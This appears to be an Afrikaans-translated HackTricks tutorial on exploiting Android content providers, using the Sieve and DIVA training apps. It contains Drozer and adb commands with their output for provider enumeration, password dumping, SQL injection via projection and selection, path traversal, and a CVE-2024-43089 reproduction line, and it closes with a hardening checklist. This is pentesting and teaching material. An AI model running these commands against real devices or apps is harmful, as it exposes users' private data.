Exploiting Content Providers

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Intro

Data word verskaf van een toepassing na ander op aanvraag deur 'n komponent bekend as 'n content provider. Hierdie versoeke word bestuur deur die metodes van die ContentResolver class. Content providers kan hul data in verskillende plekke stoor, soos 'n databasis, lĂȘers, of oor 'n netwerk.

In die Manifest.xml lĂȘer is die verklaring van die content provider vereis. Byvoorbeeld:

xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys, is die READ_KEYS toestemming nodig. Dit is interessant om op te let dat die pad /Keys/ in die volgende afdeling toeganklik is, wat nie beskerm is nie as gevolg van 'n fout deur die ontwikkelaar, wat /Keys beveilig het, maar /Keys/ verklaar het.

Misschien kan jy privaat data toegang of 'n sekuriteitsfout (SQL Injection of Path Traversal) benut.

Kry inligting van blootgestelde inhoudverskaffers

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur URI's met “content://” te begin. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die /Keys gids geleĂ« was.

Drozer kan raai en verskeie URI's probeer:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

U moet ook die ContentProvider kode nagaan om vir navrae te soek:

As u ook nie volle navrae kan vind nie, kan u kyk watter name deur die ContentProvider verklaar word in die onCreate metode:

Die navraag sal soos volg wees: content://name.of.package.class/declared_name

Databasis-ondersteunde Content Providers

Waarskynlik word die meeste van die Content Providers as koppelvlak vir 'n databasis gebruik. Daarom, as u toegang kan kry, kan u in staat wees om inligting te onttrek, op te dateer, in te voeg en te verwyder.
Kyk of u toegang tot sensitiewe inligting kan kry of probeer om dit te verander om autorisasiemeganismes te omseil.

Wanneer u die kode van die Content Provider nagaan, kyk ook vir funksies wat soos volg genoem word: query, insert, update en delete:

Omdat u in staat sal wees om hulle aan te roep

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Voeg inhoud in

Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:

Nota dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean

Werk inhoud op

As jy die naam van die kolomme ken, kan jy ook die ingevoerde waardes wysig:

Verwyder inhoud

SQL Inbraak

Dit is eenvoudig om vir SQL-inbraak (SQLite) te toets deur die projektering en keuse velde wat aan die inhoudverskaffer oorgedra word, te manipuleer.
Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: --selection en --projection:

Jy kan probeer om hierdie parameters te misbruik om vir SQL-inbrake te toets:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Outomatiese SQLInjection ontdekking deur Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

LĂȘerstelsel-ondersteunde Inhoudverskaffers

Inhoudverskaffers kan ook gebruik word om lĂȘers te verkry:

Lees lĂȘer

Jy kan lĂȘers van die Inhoudverskaffer lees.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Pad Traversal

As jy toegang tot lĂȘers kan kry, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Outomatiese Pad Traversering ontdekking deur Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

2023-2025 Opdaterings & Moderne Wenke

Drozer 3.x (Python 3) is uit

WithSecure het in 2022 die onderhoud van drozer hervat en die raamwerk na Python 3 (nuutste 3.1.0 – April 2024) oorgedra. Benewens kompatibiliteitsoplossings, sluit nuwe modules in wat veral nuttig is wanneer daar met Content Providers gewerk word:

  • scanner.provider.exported – lys slegs verskaffers met android:exported="true".
  • app.provider.grant – roep outomaties grantUriPermission() aan sodat jy met verskaffers kan praat wat FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION op Android 12+ verwag.
  • Beter hantering van Scoped Storage sodat lĂȘer-gebaseerde verskaffers op Android 11+ steeds bereik kan word.

Opgradeer (gasheer & agent):

bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

Gebruik die ingeboude cmd content helper (ADB ≄ 8.0)

Alle moderne Android-toestelle word gelewer met 'n CLI wat verskaffers kan vra/opdateer sonder om enige agent te installeer:

bash
adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
--method evilMethod --arg 'foo'

Combineer dit met run-as <pkg> of 'n ge-rootde skulp om interne slegs verskaffers te toets.

Onlangs werklike CVE's wat Content Providers misbruik gemaak het

CVEJaarKomponentFout klasImpak
CVE-2024-430892024MediaProviderPad traversering in openFile()Arbitraire lĂȘer lees vanaf enige app se privaat stoor
CVE-2023-356702023MediaProviderPad traverseringInligting openbaarstelling

Herstel CVE-2024-43089 op 'n kwesbare weergawe:

bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Versterking kontrolelys vir API 30+

  • Verklaar android:exported="false" tensy die verskaffer moet publiek wees – vanaf API 31 is die attribuut verpligtend.
  • Handhaaf toestemmings en/of android:grantUriPermissions="true" in plaas van om die hele verskaffer te eksport.
  • Witlys toegelate projection, selection en sortOrder argumente (bv. bou navrae met SQLiteQueryBuilder.setProjectionMap).
  • In openFile() kanoniseer die versoekte pad (FileUtils) en verwerp .. volgorde om traversering te voorkom.
  • Wanneer jy lĂȘers blootstel, verkies Storage Access Framework of 'n FileProvider.

Hierdie veranderinge in onlangse Android weergawes beteken dat baie erfenis eksploitasiemiddele steeds werk, maar addisionele vlae/toestemmings vereis wat die opgedateerde drozer modules of cmd content helper outomaties kan toepas.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks